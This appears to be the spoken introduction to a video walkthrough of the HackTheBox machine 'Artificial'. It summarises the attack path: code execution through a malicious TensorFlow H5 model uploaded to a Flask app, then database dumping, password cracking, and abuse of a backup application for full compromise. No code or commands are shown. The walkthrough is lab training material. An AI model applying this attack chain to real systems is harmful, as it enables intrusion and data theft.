{"text": "What's going on YouTube? This is IPSC and we're doing an artificial from hack the box which is a nice easy box starting off with a web app coded in flask that lets users test their TensorFlow H5 models. Googling this reveals we have a path to code execution through writing a malicious model and with the shell we dump the database crack credentials and gain access to another user which has access to a backup file of the back rest application. Cracking the password in this lets us access the backup application which will almost always result into a complete compromise because gaining access to the backup application means you gain access to all the company files. You can either find secrets in the backups or just command it to back up something sensitive and restore it. We'll exploit the backup application three different ways. So let's just jump in.
